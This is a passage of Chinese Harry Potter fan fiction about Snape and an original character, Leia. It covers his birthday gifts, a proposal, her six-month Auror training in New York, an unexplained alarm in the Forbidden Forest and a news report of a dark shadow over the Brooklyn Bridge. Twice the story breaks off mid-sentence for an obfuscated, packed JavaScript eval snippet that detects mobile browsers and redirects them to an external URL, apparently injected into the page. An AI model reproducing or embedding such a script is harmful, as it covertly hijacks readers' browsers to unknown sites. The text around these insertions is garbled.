蕾雅不在意地笑了笑,接着说:“和这些礼物相对应的,我还想将我的思绪抽出来,让你看看,你在我的眼里有多么迷人。” 被她这么一说,男人不由得地感到耳根泛热。他端起红酒,尽可能让自己的声音听起来平静一些:“这是你原来的计划?” “是的。因为如果可以,我本来就想告诉所有人,你有多好,西弗。”蕾雅轻轻抿唇,自顾自地用手背碰了碰脸颊,又紧盯他强调一遍:“想让全世界都知道。” 也许曾经的斯内普不会明白,这是一种爱人的本能。但现在……他的手指无意识地摩挲着圆润的酒杯,突然想起她为他辩护那天的字字句句。 傻瓜,他在心底暗叹,你已经做到了。 “光是这样听你说,就已足够动人了,蕾雅。”他探出手,按了按她的脸,继而低声说:“但你知道,我不需要……”他想说,他只要有她在就够了,超出这之上的,不过都是镜花水月,虚妄且无谓,他无须在乎这个世界知不知道他的“好”。 “我当然知道啦。所以你看,我什么都没布置。”蕾雅坦诚地摊了摊手,牵开笑容,眼神坚决地说:“但是礼物还是要有的,那里也有不少其他人寄给你的,从下午开始就有猫头鹰送来。” 于是,吃过晚饭后,他们便坐在茶几前拆斯内普的生日礼物。 她在他身边轻快地哼唱起生日快乐歌,第一份拆开的礼物是邓布利多不久前塞给斯内普的。淡紫色的包装袋内放着一双同样淡紫色的毛线袜子,以及一件针脚细密的灰色毛衣——嗯,是被邓布利多影响的麦格亲手织成的,左胸的位置还绣了个浅白色的“S”。 “米勒娃这是受了阿不思的熏陶,还是莫莉的感染?”斯内普嘲讽地抽了抽唇角,语气中带着惯有的冷淡和不耐。他抬起手揉按突突作痛的太阳穴,打算想将这份礼物视之不见地扔在一边,却被蕾雅阻拦下来。 没有拗过,他被她按着套上毛衣。 “毕竟是心意,至少试试看嘛,意外地还挺合身的。”蕾雅仔细地将他的头发从毛衣领口抽出来理顺,忍不住地咯咯笑出声:“好啦,至少麦格教授没有用红色来织。” 斯内普冷冷地睨她,叹了一口气,快速地脱下毛衣,随即伸手去够第二份礼物——是那份卢修斯和纳西莎送来的。他只看了一眼,就传给身边人。 “这是?”蕾雅接过那份墨绿色的盒子,发现是一对镜子。镜子边框镶嵌细致复古的花纹,在昏暗的烛光和壁炉暖色下闪烁着幽幽的光,看起来价格不菲。 “是双面镜。”斯内普为她解释道,“不得不佩服卢修斯的消息网,看来是得知了我们的事。”他的脑海中浮现出德拉科对他的保证,不过也明白,即便没有德拉科,马尔福家族永远都有遍布整个魔法界的情报网络。 “说起来,”她把玩着其中一面镜子,抬头看向黑发男人,眉间多了一些担忧:“今天的例会里说,二月份我们要去美国训练,时间是半年。这个距离,手环就无法传递消息了吧?” “美国?半年?”斯内普怔愣一瞬,为这个他未曾在魔法部听到过的消息而感到意外:“这个距离的通讯也只能双面镜。看来,我得给卢修斯回封感谢信。“ 蕾雅点点头,接着陪他拆礼物。不一阵,地板上就铺满了花花绿绿的包装纸,从甜品礼盒、红酒到各种收藏品都有。最后是蕾雅跟哈利他们挑选的礼物——因为实在拿不定主意,她几乎把从头到尾能想到的都买下了,用那笔炼金术士发来的奖金。 ——新出版的炼金术士收藏版丛书,一套羽毛笔套装,一个复古的钱包,一件绣有繁复暗纹的黑袍……斯内普在这时停止动作,眼睛朝坐在地上的她一斜:“这是为你顺走我的那件黑袍做补偿吗?” 蕾雅脸一红,索性不作辩解,默默地将一个小盒子塞进他的手里,“还有这个,是赫敏他们帮忙一起做的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790011|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他在她极为期待的神色底下拆开包装,顷刻间黑色的瞳仁中明显地掠过一抹惊喜,尽管它们很快便恢复原来的冷傲。 “谢谢,我会一直用的。”他合上礼物的盖子,用它轻轻敲了一下她的前额,“准备得太多了。” “明明就不多!”蕾雅用一只手捂着额头,另一只手推开堆积的包装纸和礼物,转过身,将手肘按在他腿侧的沙发坐垫,抬眸直直地望进他的黑眸,若有所思地喃喃道:“另外……” “另外?”斯内普察觉到眼前的人似乎有话想说,目光柔和下来,耐心地看着她。 “嗯……”她的嘴唇微微抿起,又张开,眼睛飘忽地一转,又重新定住,好像积攒勇气去做一件极为重要的事般。 “嗯?”斯内普俯下身,伸手覆在她的脸侧,稍稍往上抬起。 壁炉的火色浓烈,将她温婉的面孔勾勒得那样美好。 我们结婚吧—— 这是个早已盘旋于蕾雅内心的念头,就在这须臾间骤然变得清晰而炽烈。与此同时,一瞬的刺痛感从她的脑海内划开。 “西弗勒斯!”她瞬间反应过来,立刻竭力将试图窥探她心事的男人从她的思绪中扔出去。下一秒,她就毫不犹豫地爬上沙发,坐到他腿上,双手揪紧他的手臂,稍有恼怒地直逼他,“你怎么能在这个时候摄神取念我?嗯?” “抱歉。”斯内普原本挑起的眉毛渐渐放松,露出一个完全没有藏住的笑。他的手扶在她的腰侧,低沉的笑声中透着无尽的宠溺,“我没想到,你就这么毫无防备?” “难道我在家里也要防着你吗?”那双透着狡黠的黑眼睛如今在她看来像是一种挑衅。她不甘地揉捏他的面颊,指尖用力得让男人平日苍白的皮肤泛起微微的红痕,“坏人!”她皱着鼻子,愤愤地控诉。 男人没有再说话,紧了紧眼神,黑曜石般明亮的眼睛依然全是宠爱。 “怎么?窥见我的心声又不敢回答了?”蕾雅越想越气,话语间混杂不少的委屈,但又没有任何自信能攻破面前人的大脑封闭术,只能大胆地用言语攻击他。于是,她决定不再纠结,直接询问:“你不想……真正地有一个家吗,西弗?” 两人在壁炉的火光中对视一会,斯内普投降般叹一口气,用很小的力度推了推她的背脊,低声说:“给我下去,在沙发上坐好。” 蕾雅捂住跳得过快的心脏,顿住几秒,不明所以地观察斯内普那张深沉的脸,顺从地从他腿上下来,退回到沙发上坐好。 她困惑地见男人站起,顺手拿起她之前搁在茶几上的魔杖,指向那面满是书籍的墙壁。 随着几本黑色的古书微微晃动,一个漆黑的丝绒小盒飞出来,稳稳落入他的手中。 “明明答应我要耐心的,”斯内普没好气地用指背刮了刮她的鼻梁,话音内有几分责备之意:“可有些人偏偏急不可耐。” 斯内普把那个盒子递到她的手里,面色在这一刻变得严肃一些。 没来得及打开这个盒子,蕾雅骤然收起所有笑容,震惊地凝视着眼前的男人缓缓跪下,单膝触地。那如深夜的黑眸灼灼地注视她,他的手覆在她捧着这个盒子的双手,温热而坚定,犹如一层屏障,将她安全地护在风雪之外。 “正如之前说的,这是我对你的承诺。” “但你不必为我承诺任何,更不需要现在就接受。” “等到你愿意的时候,再打开它。” “蕾雅,你明白我意思,对吗?” 男人的嗓音低沉悦耳,像一条长长延伸的月亮河,温柔地流进她的心底。 ——“或许,你会不会想——” ——“但对于这件我们在探讨的事,蕾雅,我愿意‘考虑周到’。” 这是那日在海滩上他的未尽之言,一个巨大的、前所未有的、他此生仅有一次的承诺。 蕾雅捂住嘴,意识回拢的顷刻间,再也无法抑制的泪水从她的眼眶满溢而出。没有任何犹豫,她猛地扑进他的怀中,用无法掩饰的哭腔一遍遍答应他:“可是西弗勒斯,我愿意,我现在就愿意!” 就在1999年1月9日的这一天晚上,名为西弗勒斯·斯内普的男人的世界停滞了几秒。 因为他收到了此生最好的生日礼物——一份诺言。 随之而来的,是海浪般汹涌的热烈情感,轻易冲溃他经年沉积的冷静和自持。 他的手一遍又一遍轻抚着她哭得颤抖的后背,她的眼泪和体温如炽热翻涌的暖流,深深浸透了他,直抵灵魂深处,填满每一寸曾经荒芜的角落。 很多年后,当他回想起这一天,仍旧后知后觉地不敢去相信。原来,千万年来被无数人吟诵的情意竟然如此真实。那些迫不可待,那些真挚热诚,那些跨越山海时空的永恒不朽。那些被蛊惑的灵魂与渴求都是存在的,且都已于不知不觉间缠遍他的四肢百骸,再也无法挣脱。 不可思议的是,西弗勒斯没有感到被束缚,反而感到无法用言语道出的包容、自由、完整。 临行的二月那天,父亲、韦斯莱先生、赫敏都来了魔法部交通司送行。赫敏在亚瑟先生的注视下显得有些局促,仍坚持踮起脚拥抱了罗恩,亲吻他的脸颊,然后连连向哈利保证会替他好好照顾金妮。 莱恩哈特先生不舍地替蕾雅提着行李,一直跟到交通司的跨国壁炉队伍前,颇有一种送她去霍格沃茨上学的既视感。 “好啦爸爸,怪不好意思的,我又不是小孩子了。”蕾雅半开玩笑地打趣父亲,转过头时,正好瞅见站在远处一语不发的珀西——两人自上次事件后,关系变得格外尴尬,连打招呼都很艰难。 “在那边要小心,宝贝。”雷格纳点了点头,忍住即将流露的情绪,将行李箱递给女儿,再不放心地叮嘱:“有什么事,给爸爸写信,或者给——” 蕾雅面带浅笑地挥手打断父亲的话,因为她恰好目见到那个父亲接下来要道出名字的男人从大厅那端笔直地走来。 他的气场还是那么凌厉,面容还是那么冷峻,黑色长袍随着他的动作骄傲地翻飞在后,周围的热闹喧嚣都因为这个人的存在而至少静止一刻,之后是越加吵杂的一片哗然。 “斯内普校长?!” “他也来为别人送行吗?” “哦!之前的报道!” 雷格纳识趣地往后挪动几步。 没有在乎场上人惊愕的注目和雷格纳了然一切的眼神,斯内普沉着脸站定在她的前面, “没有忘带东西吧?” “嗯。”她垂下眼睑,以很细微的幅度摇头。 斯内普迟疑半晌,最终仍是倾身靠近她一点,挡住周围人的窥探。他低下头,看见她胸襟上别着的魔法部徽章,没有多在意,径自伸手沿着她的衣领拉起垂坠在颈间的银链,上面正串着一枚戒指。“别弄丢了。”他低声说,举起魔杖轻敲两下,为这枚链坠施下两道加固的咒语。 “不敢。”蕾雅任斯内普把她的项链重新藏在衣服底下,木讷地点了点头,面颊上的红晕已一路扩散到耳后。 “还有。”斯内普无视逐渐响起的窃窃私语声,“手伸出来,有要给你的。” 蕾雅再一次照做。 某样物品被斯内普按在她的手心,然后他并拢她的手掌,轻轻地握了一下。 他们不知道,这个动作在旁人看来,比任何直接的亲密举动都更加令人遐想。 “今天早上才拿到,本以为赶不及了。”斯内普飞快地抽回手,别过脸,用尽可能轻描淡写的语调说:“到那边再看。” “好的。”她根本不敢抬头与他对视,怕自己会跟赫敏一样忍不住亲吻对方。深吸一口气,她用比他更轻柔的音量呢喃:“西弗勒斯,等我回来。” “我会的,顾好自己。”斯内普眯了眯眼,转身往后两步,站到雷格纳身旁,目送心爱的人与明显是在等她的埃琳娜·弗利一同挤进魔法壁炉。 “走吧,雷格纳,你不想被围攻的话。”斯内普紧绷脸侧了侧头,对雷格纳丢下一句。 绿色的烟火升腾旋转,顷刻四散飞舞,与此同时,斯内普和雷格纳就面不改色地同时转身,推开所有挤过来围观的魔法部职员离开现场。 不久之后,蕾雅到达魔法壁炉的另一端——位于纽约的美国魔法国会大厅。 她迫不及待地摊开手掌,一枚崭新的白银钥匙映入眼帘。 毫无疑问,这也是他给她的承诺,一个等她回来的家。 87.异地 两个月的时间,足以让英国的傲罗们适应美国的生活。至少,当斯内普不止五次看到蕾雅在那边狼吞虎咽地吃“TACO”或“炸鸡”,边手忙脚乱地接住掉落的碎渣,他是由衷确信,他们的确适应得很好。 与此同时,斯内普本人也一直忙碌于霍格沃茨的各项事务。魔药学教材编撰、今年NEWTs试题准备——年纪已然不小的斯拉格霍决定将一部分任务推给了他。除此之外,他还需要监察黑魔法防御课的工作情况,只怕莱姆斯·卢平将教材编得过于简单空泛。 偶有闲暇,他也会和德拉科合作,着手未来得及开展的魔药改良,比如说,狼毒药剂。战争之后,霍格沃茨出现了一些因狼人的攻击被感染的学生。而卢平的药剂供应任务,如今已成为助教德拉科的任务。 到了周末,斯内普则会抽空返回蜘蛛尾巷与新家之间。把一些必要的东西,比如说他的藏书,先搬过去装点。蕾雅有空的话,会坐在美国宿舍那个小小的飘窗上,晒着太阳陪他说话。然而,傲罗们的训练时常延伸到了周末,还需要外勤支援当地的傲罗。所以,两人这段日子都过得忙碌而琐碎,不知不觉,日落的时间已再一次拉长。 伦敦的四月,春天气息跟随着淅沥细雨浸透城市的每个角落,连魔法部外的空气都裹上那种泥土的清新和氤氲的白雾。他不由地想,如果她在,或许会拉着他在例会结束后找一家咖啡馆,静静地看满树的纯白玉兰被雨幕和雾气一点点湮没。 不过,也许纽约的四月会更好一些。他曾透过双面镜,看到她在鎏金般的阳光中慢行于中央公园,那里不仅比伦敦暖和,还少了许多令人惆怅的雨水。 随着升降梯缓缓停下,斯内普很快自觉地拾掇起种种关于她的思绪。铁门徐徐敞开,他挤过那堆穿着各色奇异长袍的巫师步出轿厢。面无表情地拢了拢起皱的长袍,这位男巫不紧不慢地穿过公共休息区,拐进位于右边的魔法教育司长廊。 “西弗勒斯。” 有洪亮的声音从走廊的另一侧传来。 斯内普一顿脚步,乌黑的眼眸顺着声音稍稍偏转,就见到金斯莱·沙克尔,一袭亮紫色长袍的高大身影从不远处的隐藏门后显现出来。他手中端着一杯冒着热气的浓黑咖啡,身后跟随怀抱一沓羊皮纸的部长助手,珀西·韦斯莱。 “斯内普校长。”身穿灰色西装的珀西板着脸,深色的眼睛垂向文件,没有看斯内普。 “部长,韦斯莱。”斯内普对来人扬起下巴打招呼,没有感到十分意外。他再度迈开步,与金斯莱并肩而行:“你今天也参会?那件事看来是敲定了?” “确实如此。”金斯莱的眉梢间虽隐含不少疲倦,声音却是沉稳有力的,“距离上次已经五年了,布斯巴顿和德姆斯特朗都希望尽早开始筹备。我也认同,重新举办三强争霸赛,是象征着英国魔法界已经彻底步入正轨。” 斯内普沉吟片刻,没有立刻回应,而是伸手推开会议室的橡木门,让金斯莱先行。 会议室里已有不少相关职员在等候,见金斯莱和斯内普一同进来,纷纷起身,恭敬地行礼。金斯莱摆了摆手示意众人坐下,自己随意地将咖啡杯撂在主席位前的桌上,又回过头,低声问斯内普:“怎么,你看起来有别的建议?” 斯内普刚走到自己的座位旁,闻声挑了挑眉。他没有转向金斯莱,眼睛漫不经心地扫过正在分发资料的珀西,平淡开口:“霍格沃茨当然会配合魔法部的安排。不过就我个人而言,希望这一次不会有任何‘意外’。”说完,他才慢悠悠地拉开椅子坐下,从衣袍中拿出会议记录用的笔记本和羽毛笔,按在手腕下。 同时落座的金斯莱略微颔首,靠在椅背上啜了一口咖啡,用安抚的语气道:“我理解你的担忧。法国魔法部已经表示会全力配合,如果有任何风险,我会立即派遣人手。详细方案都在说明里,我让珀西整理了一份。虽然还早,你也看看有没有不妥之处。” 斯内普接过珀西适时递来的羊皮纸,没有在意场上其他人此时的议论声与还有些好奇的窥探,粗略地扫了一眼便放下。随后,他缓缓翻开笔记本,没有任何退让地回复:“希望如此。毕竟,霍格沃茨的学生已经付出够多了。” “我清楚这一点。”金斯莱笃定地说。 他话音刚落,魔法教育司司长推门而入,带着几名职员走进会议室。于是,金斯莱结束与斯内普的私下对话,宣布会议正式开始。 这个比平时更加冗长繁琐的会议终于结束时,魔法部的下班时间早已过去,连走廊里的巫师都寥寥无几。斯内普一走出昏暗幽森的教育司,就注意到公共休息区里一个熟悉的身影。雷格纳·莱恩哈特坐在长椅上,低头翻阅一本厚厚的报告,面前矮茶几摊着一本同样厚重的笔记本。 “看来今天神秘司的事务比教育司轻松不少。”斯内普的话语带有他惯常的讥诮,他朝雷格纳踱去。 雷格纳应声抬起头,将手中的报告合拢放在腿上,面露笑容地答复:“毕竟三强争霸赛的筹备确实用不上神秘司。” “消息倒是灵通。”斯内普停在雷格纳面前,垂眼瞥见那本笔记本封面上的名字:纳威·隆巴顿。他眯了眯眼,拿起笔记本,视线在那歪歪扭扭的墨黑字迹间来回几次,判断出这大概是纳威低年级时候的字,这令斯内普瞬间就回想起这个男孩当时交上来的那些不堪入目的作业。 “当然,魔法部哪有什么秘事可言。要不是你每天和她联系,我还真乐意跟你分享傲罗们在美国的见闻。”雷格纳爽朗地笑了笑,他顺手将报告夹在手臂与身体之间站起身,眼睛跟随斯内普指间翻动的书页,若有所思地确认到:“是这本吧?我按照蕾雅说的,从她那堆毕业物品里找到的。这个叫纳威的孩子,草药学笔记做得可真仔细啊。” “可惜,其他科目一塌糊涂,尤其是魔药学。”斯内普翻过一页页详尽的手绘配图与笔记,嘴上却没有丝毫留情的意思,“幸亏最后也算勉强达到了霍格沃茨助教的要求。” “孩子们嘛,偏科很正常。我以前也好不到哪儿去。”雷格纳难堪地挠了挠脸,显得有些不好意思,接着说:“对了,奥德莉亚让我告诉你,昨天,那边的电已经申请好了。” “感谢。”斯内普合上笔记本,将它连同自己的东西一并收好,“那我先回霍格沃茨了。” “好,有空一起吃饭。”雷格纳朝着已经转身走向升降梯的斯内普挥手,目送那个黑色身影隐没在缓缓关上的铁栅门后。 回到霍格沃茨后,斯内普径直去了礼堂,在教师席上将笔记本还给纳威·隆巴顿。这名上任半年的草药学助教,到现在依旧会显得有些局促不安,面对斯内普有时会不自觉地缩起脖子,但已比从前镇定了许多。 “谢谢斯内普校长。”纳威双手接住笔记本,声音低得像怕惊扰到谁似的。他垂下眼,又轻轻补了一句:“也谢谢蕾雅,我明明都说可以送给她的……” “如果她没提起来,你是准备毫无意义地重画一遍吗,隆巴顿?”斯内普没有忍住,终于冷冰冰地讽刺纳威。他随即移开目光,没有给对方回应的机会,回到位置上开动晚餐。 一旁边看热闹边喝餐后甜酒的麦格和斯普劳特教授,一人一手拍了拍说不出话的纳威的肩膀,以此来安慰这位助教。 战争过去将近一年,霍格沃茨的学生们都早已回归到战前的欢乐氛围。更好的是,在教师们的努力下,四院之间的关系明显缓和不少,尤其是有德拉科·马尔福提议的那些小活动推进。看着底下交头接耳、各色校服混在一起的学生们,斯内普安心地结束晚餐,他返回校长室,准备整理下午会议的碎片 三强争霸赛的筹备工作即将启动,他必须在下次教师例会上正式宣布这件事,并准确分配每位教授的职责。思绪翻涌,斯内普忽而觉得这些事好像就是这样一件接一件,永远没完没了。也难怪邓布利多,说什么也不愿意再待在这个位置上。 木门在身后合拢,斯内普轻挥魔杖,倒了一杯红茶,放在座位右手边。他挂好长袍,坐在办公桌前,解开袖扣,搁置于笔架前的一个小盘内。 凝视着那银色金属上印有的“L&S”字样,他无意识地拉动抽屉,翻开深红色的盒子,从那里捏起一颗黑巧克力放入口中。 这是蕾雅算好时间为他准备的情人节礼物,临走前还特意找赫敏一起去店里亲手做的。 舌尖的苦涩融化弥散,带来一阵提神的冷意。趁着这个间隙,他摊平一张新的羊皮纸,参照珀西给的说明书,提笔列下每一项需要去完成的任务: 1.人员:人员选拔(参赛、后勤、医疗、物资)、报名规则(能力、年龄限制)、训练计划(确保不再重蹈上次的覆辙)…… 2.比赛题目提议:每位教授至少提交一个,须包括筹备过程、难度和意外风险评估。 3.留守霍格沃茨负责人:米勒娃·麦格,留守事务:…… 羽毛笔在羊皮纸上划出干脆的笔触声,随着内容逐渐丰满,斯内普的神情也越发专注,顺利地罗列出在会议中就盘在脑子的想法。没过多久,这张羊皮纸被他填得满满当当,暂时没有思路的地方,笔尖留下一个细微的痕迹,直接移到下一行,等后续逐步完善。 视野边缘的一个金色小钟忽而颤动一瞬,紧接着,发出清脆的叮叮声。斯内普眼神瞬间沉敛——这是他与蕾雅在她毕业前布置于禁林的防护警报,至今从来没有响起过。 有什么东西试图闯进霍格沃茨? 没有时间细想更多可能性,斯内普搁下羽毛笔,走向门口的同时挥动手中的魔杖,传来一侧的黑袍抓在手上,快速离开校长室。穿行在长廊的途中,他不忘召出守护神,给四位院长分别传去讯息,叮嘱他们立刻将所有学生赶回公共休息室。 他以最快的速度从城堡奔向禁林。刚走到草坪上,远远地望到一头在夜色中过于明显的淡金发。 是德拉科,刚好走在与阿斯托利亚散步归来的路上。很明显,他也注意到气势凛然的斯内普。见校长的面色凝重到宛如深海巨兽,德拉科吓得满脸煞白,像要即刻沉入海底。只是慌乱间仍吊着一口气,试图搜刮出一个合理的借口来为阿斯托利亚开脱。 “斯内普校长……” 斯内普极快地掠过两人,此刻并没有空余去在意他们逾矩的行为。他直截了当地抛下一句命令:“格林格拉斯,立刻回公共休息室。马尔福助教,你跟我来。”没有给两人思考或反应的余地,他的脚步已越过他们继续向前。 “好、好的。”这对小情侣对视一眼,根本不敢犹豫或者辩解,各自匆忙遵从指令去做了。 “听好,德拉科。”斯内普的眉心拧出一道极深的凹痕,衣袂在他的身后飞扬翻卷,如他的话音般凛冽:“霍格沃茨可能有入侵者。拔出你的魔杖,出了禁区,我会带你幻影移形。到达后,只要发现任何异常,你知道该怎么做。” “明白,我会立刻攻击或者使用束缚咒。”德拉科被他的语气和神态感染,一点不敢怠慢,按照他说的抽出魔杖紧握在手心,迅速跟上斯内普的步伐。 城堡的亮光逐渐在他们身后消弭。一离开幻影移形的禁区,斯内普就毫无迟疑地拽住德拉科的胳膊,两人转瞬出现在禁林深处布置防护咒的第一处地点。 四月的禁林潮湿又阴冷,到处都是泥泞和被雨水浇灌得腐烂的植被,散发出刺鼻的气味,灌满整个森林。本就过于茂密的巨大树叶,尤其擅长掩盖天日,而今夜又无星无月,黑暗将所有事物隐匿得几近模糊。 但为了不惊动任何不善访客,斯内普没有点起任何光源,只能尽力用双眼去适应这一片黑黢,放远的视线穿透在模糊不清的轮廓间,耳边是德拉科稍显急促的呼吸。 “呼吸声太响。”斯内普以微弱的气音提醒身边人。 “抱、抱歉。”德拉科连忙捂住口鼻,调整气息。 两人拨开湿漉漉的草丛,沿着密林天然形成的一道防线小心前行。第一处检查完毕,没有任何异常,第二处依旧如此。 “警报是第三处触发的。”斯内普低声道。 忍住衣袍全被沾湿而带来的不悦,他谨慎地环顾四周,除了密布的齐腰蕨类和雾气笼罩的树木,没有发现任何不对劲的迹象。他甩出几个无声的原形毕现咒,依然一无所获。 接连检查第四处和第五处咒语的位置,同样未见异常。只有几声通灵悠扬的叫嚷和翅膀的扑棱轻响从头顶的树梢淌下来,是绝音鸟被惊飞。 结束第一遍的检查,两个人又原路返回进行了第二遍。一个多小时就这样过去,斯内普只好作罢,谨慎地指导德拉科布置下第二层防护与检测咒语,才返回霍格沃茨禁区边。 “也许只是一些未知动物误触发了警报。”德拉科咂了咂嘴,忙着清理沾在皮鞋和长袍下摆的污迹,几根不知道什么时候缠绕上身的藤蔓随着他的动作掉落在地。 “这种魔咒不会轻易误判。”斯内普的薄唇再度抿成瘆人的直线,手上施展干燥和清洁咒的动作更是凌厉而迅速,“自设置以来,它从未响起过。” 他们沉默地踏进城堡浓重的阴影,很快进入室内。凄清孤寂的魔法烛火将两人的身形拉得深长,二人一样墨黑的长袍化为乌影般翻滚的暗云。 “行了,今晚巡夜时注意点。”斯内普似乎不打算跟德拉科解释更多,头也不回地踩上大理石楼梯。 “明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822461|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白了。”德拉科刚要转身拐进通往地窖的楼梯,眼角的余光捕捉到斯内普停下脚步,回头看向自己。 斯内普的脸色显然不太好,德拉科便也立马木讷地止住脚步,挂上个讨好的微笑,礼貌询问:“还有什么事吗,校长?” “让我提醒你,德拉科,”斯内普犹有顾虑地卷曲一下嘴角,漆黑的眼珠在明灭的烛光中晃了晃,最终没什么温度地直勾勾盯住德拉科的脸,“下次聪明点,让阿斯托利亚去你的办公室。别让我扣斯莱特林的分。” 留下话后,斯内普转身消失在楼梯上方,只余德拉科怔怔地愣在原地,脸色从苍白变得通红,过好一阵才想到要马上开始宵禁的夜巡。 …… 这是今晚第三次回到校长室。斯内普径直走向卧室,换下一身沾染着湿冷潮气的衣衫,将它们扔进家养小精灵第二天会收走的洗衣筐里。他抬头望了一眼壁钟,已是近九点半,正好还够享受一次放松的热水澡。 擦干头发,换上睡衣,披上一件洗净的外套回到校长室的办公桌前,他又泡了一杯温热的洋甘菊茶。做完这些,他坐下来,饮下清香的茶水,视线自然落在墙上的壁钟,而几乎就在同一时刻,从双面镜中传来蕾雅的声音。 “西弗,在吗?” “我在。”斯内普拿出镜子,将它倚靠在书堆竖立。随着镜中的画面逐渐清晰,他看到了蕾雅的笑颜。纽约傍晚的阳光透过窗台洒在她身上,而她手里捧着一小盒冰激凌,包装写着哈根达斯。 “怎么又在吃?”见到她的瞬间,斯内普才感到整日紧绷的神经稍稍放松,语调也变得柔和。 “刚下班,跟哈利他们一起买的。说是新出的口味。”蕾雅笑着挖了一勺,“巧克力加薄荷脆片,好独特的味道。给你带几盒回去?” “不必了。”斯内普轻嗤一声,话锋一转,继而嘲讽她:“不知情的人还以为你们是去旅游的。我看,你那点工资,除去你自己花销,恐怕连带些像样的东西回英国都不够。” 美国魔法国会,被设立在位于曼哈顿下城的伍尔沃斯大楼内,出门便是繁华的街区与纽约市政机关。平日下了班,蕾雅和其他几个年轻的傲罗,就爱到周边逛吃游玩。就是那条唐人街的中餐,他们也已打探出合口味的几家。 “反正,爸爸和你也都没指望我那点微薄的薪水嘛。”蕾雅乐呵呵地笑起来,不以为意。她凑近镜子,认真地观察了他片刻,忽然咬着木勺,低头拉开袖口看向特意保持英国时间的手表,不安地问到:“这都十点半了,你怎么还在忙?” “今天发生了不少事。”斯内普眼神一沉,顺着她的话揉了揉额角,“刚刚禁林的警报响了。” “警报?”蕾雅笑容慢慢消失,取而代之是轻微的颦蹙和显而易见的担忧,“是之前我们一起布置的那个吗?” “是,我跟德拉科去检查了一遍,什么也没找到。”斯内普背靠在高大的椅背,沉声说。他的话到这里停顿一下,随手掂起那份未完成的三强争霸赛计划书,“还有另一件事。三强争霸赛又要开始了。” “三强争霸赛?”蕾雅偏了偏头,表情有些意外,“今年吗?在哪里?布斯巴顿还是德姆斯特朗?” “布斯巴顿,十月。”斯内普叹一口气,脸色复杂而略有抱歉地望向镜中人:“所以你回来后不久,我就要去法国了。” “啊……”蕾雅抿了抿唇,明显不舍的情绪全部铺满脸上。她又吃了一口冰激凌,拖着句尾慢吞吞道:“那我们是不是要在八月和九月抓紧时间了?还是说,等你从法国回来以后再说?” “抓紧时间做什么?”斯内普挑起眉毛问她,注意到对方迟疑的表情,他才顿时意识过来她话中的意思——本以为还有更多时间的两个人,根本还没来得及去做任何计划。 想到这里,他放下那份文件坐正一些,将十指交叉着按在桌上,缓慢认真地回答她:“我是不认为应该把这么重要的事堆得这么紧。也正好,你可以借此机会好好再想想。”他缓和几秒,压低声,半有嘲讽半有告诫地说:“你明白,一旦契约被设下,是很难解除的。”(1) “我当然很清楚魔法誓言和契约的效力。”蕾雅随即不满地瞪男人一眼,绿眸微微闪烁,像是有一场小小的风浪在翻涌。她气鼓鼓地举起手中的木勺,愤愤地放在虎牙间咬了下,赌气般瞄向对面的人宣告道:“我们之间在动摇的人,从来都不是我,西弗勒斯。” 斯内普的眼底渗出一抹几不可见的笑意,喉中道出的语调仍旧是故意假装的寒凉:“蕾雅,摸摸你脖子上的东西,检查一下你口袋里的钥匙,再重新告诉我你的结论。” “好啦,”蕾雅眨了眨眼,重新扬起笑容:“我会配合你的时间的,西弗。只希望你好好休息,别忙过头。”她伸出手指,在镜子上轻点了点。 “知道。”斯内普看着她的手在镜中落下,分明觉得那微红的指尖触碰到他的鼻梁,就如平时那样。他缓缓闭了闭眼睛,再睁开时,眼神变得更加柔软,“别吃太多甜食,脸开始变圆了。” “西弗勒斯!”正当蕾雅要反驳他的须臾,镜子的那端突然透过来一串敲门声,打断了她接下来的话。斯内普目见蕾雅皱起眉毛,匆匆侧过脸,下一刻听见了埃琳娜·弗利的呼唤:“蕾雅你在吗?汉密尔顿主任让我们快点过去。” 原本蜷缩在飘窗聊天的蕾雅扔下没吃完的冰激凌,急忙爬起身朝向门口答道:“在,现在就走。”她拎起长风衣,与镜子里的人告别:“我先走了,西弗,睡个好觉。” “好。”就在斯内普应声的一刻,双面镜就被蕾雅塞进贴身的口袋中,切断了链接。 斯内普也收好镜子,花了些时间思忖计划书的细节,最终决定趁明天周末去找邓布利多商量。就这样,他将羽毛笔收入笔架,不算愉快地结束今天的工作,尽量按照答应她的,赶在午夜之前沉进睡眠。 第二天清晨,他照常起了个早,感觉精神不错。吃着小精灵拉比送来的早餐和咖啡,他如往常般读起猫头鹰刚送到不久的预言家日报。 仍残留有油墨气味的报纸被铺开在手侧,他快速扫过头版标题:“三强争霸赛确认重启:布斯巴顿将成为新一届主办方”。 果然是与魔法部有密切合作的报纸,速度真快。 斯内普一目四五行地跳读对他来说并不新鲜的新闻,但当阅读到版面底部的粗体大字时,他的呼吸猛地停住一拍,连动作都僵住了。 ——“急讯!纽约布鲁克林大桥上空现神秘巨大黑影,真相扑朔迷离:转至第二页”。 紧攥纸张的手指不自觉地用力,报纸的边角也因此起了细微的折印,与他眉间的深痕如出一辙。 88.纽约 “……当地时间18时,一片巨大的黑影突然笼罩布鲁克林大桥上空,伴随高强度魔力的波动,河水剧烈翻涌,桥梁震颤开裂,导致桥面封闭,麻瓜世界的交通瞬间陷入混乱。 